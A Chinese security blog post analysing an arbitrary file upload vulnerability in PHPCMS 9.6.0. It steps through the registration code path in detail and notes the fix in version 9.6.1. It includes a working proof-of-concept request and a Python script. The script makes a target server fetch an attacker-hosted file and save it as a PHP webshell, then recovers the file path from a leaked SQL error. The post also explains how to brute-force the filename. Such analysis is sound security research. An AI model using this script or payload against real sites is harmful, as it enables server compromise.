前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHPCMS_V9.6.0任意文件上传漏洞分析

PHPCMS_V9.6.0任意文件上传漏洞分析

作者头像
黑白天安全
发布2021-03-16 10:51:40
5.6K0
发布2021-03-16 10:51:40
举报
文章被收录于专栏:黑白天安全团队

前言

PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式。

环境搭建

本次PHPCMS版本为9.6.0,安装步骤跟上一篇文章一样,参考PHPCMS_V9.2任意文件上传getshell漏洞分析

漏洞复现

在注册用户处,添加用户进行抓包(这里以Tao为例)

代码语言:javascript
复制
#poc
siteid=1&modelid=11&username=Tao&password=123456&email=Tao@qq.com&info[content]=<img src=http://www.tao.com/t.txt?.php#.jpg>&dosubmit=1&protocol=
# http://www.tao.com/t.txt显示的内容为你要上传的文件内容

本次测试中, http://www.tao.com/t.txt文本内容如下:

修改,放包回显如下,然后我们访问该返回的url

利用成功!!!这里再贴个脚本

代码语言:javascript
复制
'''
version: python3
Author: Tao
'''
import requests
import re
import random
import sys

def anyfile_up(surl,url):
    url = "{}/index.php?m=member&c=index&a=register&siteid=1".format(url)
    data = {
        'siteid': '1',
        'modelid': '1',
        'username': 'Tao{}'.format(random.randint(1,9999)),
        'password': '123456',
        'email': 'Tao{}@xxx.com'.format(random.randint(1,9999)),
        'info[content]': '<img src={}?.php#.jpg>'.format(surl),
        'dosubmit': '1',
        'protocol': ''
    }
    r = requests.post(url, data=data)
    return_url = re.findall(r'img src=(.*)&gt',r.text)
    if len(return_url):
        return return_url[0]
if __name__ == '__main__':
    if len(sys.argv) == 3:
        return_url = anyfile_up(sys.argv[1],sys.argv[2])
        print('seccess! upload file url: ', return_url)
    else:
        message = \
        """
        python3 anyfile_up.py [上传内容URL地址] [目标URL]
        example: python3 anyfile_up.py http://www.tao.com/shell.txt http://www.phpcms96.com
        """
        print(message)

运行效果如下图:

漏洞分析

这个漏洞存在于用户注册处,通过上面请求的地址(/index.php?m=member&c=index&a=register&siteid=1),定位处理请求的函数为register,位于文件phpcms/modules/member/index.php33行处。

为了更好的理解漏洞的原理和利用的巧妙之处,我们就先看看正常的注册流程。

代码语言:javascript
复制
// 61-79
$userinfo = array();
$userinfo['encrypt'] = create_randomstr(6);

$userinfo['username'] = (isset($_POST['username']) && is_username($_POST['username'])) ? $_POST['username'] : exit('0');
$userinfo['nickname'] = (isset($_POST['nickname']) && is_username($_POST['nickname'])) ? $_POST['nickname'] : '';

$userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0');
$userinfo['password'] = (isset($_POST['password']) && is_badword($_POST['password'])==false) ? $_POST['password'] : exit('0');

$userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0');

$userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;
$userinfo['regip'] = ip();
$userinfo['point'] = $member_setting['defualtpoint'] ? $member_setting['defualtpoint'] : 0;
$userinfo['amount'] = $member_setting['defualtamount'] ? $member_setting['defualtamount'] : 0;
$userinfo['regdate'] = $userinfo['lastdate'] = SYS_TIME;
$userinfo['siteid'] = $siteid;
$userinfo['connectid'] = isset($_SESSION['connectid']) ? $_SESSION['connectid'] : '';
$userinfo['from'] = isset($_SESSION['from']) ? $_SESSION['from'] : '';

上面代码对用户信息进行了处理,130行前的代码就是获取一下信息,分析这次漏洞来说意义不大。直接下断点到130行,然后F9跳到此处,代码如下:

代码语言:javascript
复制
if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
    require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);     
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);  // 135行,重点

走到135行,可以发现,这里$_POST['info']传入了member_input类中的get方法,跟进该方法。(该方法跳转至:/caches/caches_model/caches_data/member_input.class.php文件20行)

继续执行可发现,在这个get方法中,走到47行,获取了datetime函数,而48行也调用了该函数。

这里留一个问题,为什么47行处获取的是datetime这个函数?

跟进一下这个函数,代码如下:

上面代码执行完以后,返回$value="2021-03-13",然后返回get方法,执行

代码语言:javascript
复制
$info[$field] = $value;
return $info;

退出get方法,继续跟进,进入ps_member_register方法

继续跟进,执行insert操作

F7跟进,执行到下图,将注册信息插入数据库,注册完成。

之后返回到register函数

$status > 0时,执行insert操作,这里将生日日期用户id插入到v9_member_detail表中

代码语言:javascript
复制
INSERT INTO `phpcmsv96`.`v9_member_detail`(`birthday`,`userid`) VALUES ('2021-03-13'php,'26')

到这里,我们肯定还是不知道为什么上面调用的函数是datetime,先不急,我们整理一下注册的执行流程:

你是不是发现了什么?接下来我们来分析一下为什么$func="datetime"

首先由于func = this->fields[field]['formtype'],我们按ctrl点击this->fields,同一文件,第11行得到的,这里传了个'model_field_'.modelid, 而modelid = 10,跟进一下getcache方法

跳转至phpsso_server/phpcms/libs/functions/global.func.php文件,函数内容如下:

代码语言:javascript
复制
function getcache($name, $filepath='', $type='file', $config='') {
    if(!preg_match("/^[a-zA-Z0-9_-]+$/", $name)) return false;
    if($filepath!="" && !preg_match("/^[a-zA-Z0-9_-]+$/", $filepath)) return false;
    pc_base::load_sys_class('cache_factory','',0);
    if($config) {
        $cacheconfig = pc_base::load_config('cache');
        $cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
    } else {
        $cache = cache_factory::get_instance()->get_cache($type);
}
    return $cache->get($name, '', '', $filepath);
}

因为config未进行传参,默认为空,因此执行的是cache = cache_factory::get_instance()->get_cache(type);,执行get_cahe方法,传入参数type='file', 跟进一下此方法:

代码语言:javascript
复制
// phpcms/libs/classes/cache_factory.class.php 53行处
    protected $cache_list = array();
    public function get_cache($cache_name) {
        if(!isset($this->cache_list[$cache_name]) || !is_object($this->cache_list[$cache_name])) {
            $this->cache_list[$cache_name] = $this->load($cache_name);
        }
        return $this->cache_list[$cache_name];
}

cache_list是个空数组,因此this->cache_list[

代码语言:javascript
复制
$this->cache_list[$cache_name] = $this->load($cache_name);

load方法代码如下:

代码语言:javascript
复制
public function load($cache_name) {
        $object = null;
        if(isset($this->cache_config[$cache_name]['type'])) {
            switch($this->cache_config[$cache_name]['type']) {
                case 'file' :
                    $object = pc_base::load_sys_class('cache_file');
                    break;
                case 'memcache' :
                    define('MEMCACHE_HOST', $this->cache_config[$cache_name]['hostname']);
                    define('MEMCACHE_PORT', $this->cache_config[$cache_name]['port']);

由于cache_name = 'file', 从而执行object = pc_base::load_sys_class('cache_file');,跟进一下pc_base::load_sys_class方法

调用了_load_class类,继续进入

122行的代码不会执行,因为文件路劲中没有自己的扩展文件my_path方法代码如下:

代码语言:javascript
复制
    public static function my_path($filepath) {
        $path = pathinfo($filepath);
        if (file_exists($path['dirname'].DIRECTORY_SEPARATOR.'MY_'.$path['basename'])) {
            return $path['dirname'].DIRECTORY_SEPARATOR.'MY_'.$path['basename'];
            // 没有 my_cache_file.class.php
        } else {
            return false;
        }
}

上图执行到130行,返回了cache_file对象(因为$name='cache_file'),内容见下图:

这里返回完了以后,退出到执行phpsso_server/phpcms/libs/functions/global.func.php中548行处get方法,代码如下:

代码传入的参数name就是下图的'model_field_'.modelid = 'model_field_10':

看看get方法,可以发现,它包含了/caches/caches_model/caches_data/model_field_10.cache.php文件

且91行返回了/caches/caches_model/caches_data/model_field_10.cache.php中的内容

内容如下:

func = this->fields[field]['formtype']; 对应此文件中'formtype' => datetime,因此这里

当然,这里数据也可以通过数据库中v9_member_field表获取。

可能上面描述的不太直观,我们再次梳理一下获取datetime函数的流程:

接下来我们分析poc

注意:再一次使用poc的时候,我们需要保证username值和email是唯一的

通过上面的分析,直接下断点到关键处

如上图,这里获取的是editor函数,而在这个函数中,有个download方法(下图,文件在caches/caches_model/caches_data/member_input.class.php)

上面关键代码如下:

代码语言:javascript
复制
$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;

这个正则匹配不难理解,需要满足href/src=url. (gif|jpg|jpeg|bmp|png),这就是为什么我们写info[content]=<img src=http://www.tao.com/a.txt?.php#.jpg(符合这个格式,而且加.jpg的原因),接着进入fillurl方法

在上图的fillurl方法中,通过下面代码去掉了锚点.

代码语言:javascript
复制
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);

strpos定位#, 然后使用substr处理http://www.tao.com/t.txt?.php#.jpg, 处理完之后$surl = http://www.tao.com/t.txt?.php

继续执行,可以发现返回的url去掉了#后面的内容

下面166行处获取了上面返回url的后缀,及php,通过getname方法进行重命名,可以发现的是,getname方法返回的文件名也只是时间+随机的三位数。如果不返回上传文件的url地址,也可以通过爆破获取。

接着程序调用了copy函数,对远程的url文件进行了下载

这里的$this->upload_funccopy函数的原因,是因为初始化时赋给的(看下图)

此时能看到我们要写入的内容已经成功写入文件了。

接着我们来看看写入文件的路劲是如何返回给我们的。上面程序执行完以后,回到了register函数中:

F7跟进

代码语言:javascript
复制
INSERT INTO `phpcmsv96`.`v9_member_detail`(`content`,`userid`) VALUES ('&lt;img src=http://www.phpcms96.com/uploadfile/2021/0314/20210314103307168.php&gt;','25')

可以发现,上上图140行处$status > 0时会执行上面的SQL语句,也就是向v9_member_detailcontentuserid两列插入数据

但是由于v9_member_detail表结构中没有content列,产生了报错。从而将插入数据中的sql报错语句(包含shell 路径)返回了前台页面。

前面说140行status>0 时才会执行 SQL 语句进行 INSERT 操作。我们来看一下什么时候

通过前面139行我们发现$status是由client类中ps_member_register方法返回的(函数路劲在:phpcms/modules/member/classes/client.class.php

$status <= 0都是因为用户名和邮箱不唯一导致的,所以我们payload尽量要随机

另外在 phpsso 没有配置好的时候$status的值为空,也同样不能得到路径

在无法得到路径的情况下我们只能爆破了 ,文件名的生成方法(在phpcms/libs/classes/attachment.class.php)

返回的文件名也只是时间+随机的三位数。比较容易爆破的。

漏洞修复

在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次

文章中有什么不足和错误的地方还望师傅们指正。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 环境搭建
  • 漏洞复现
  • 漏洞分析
  • 漏洞修复
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档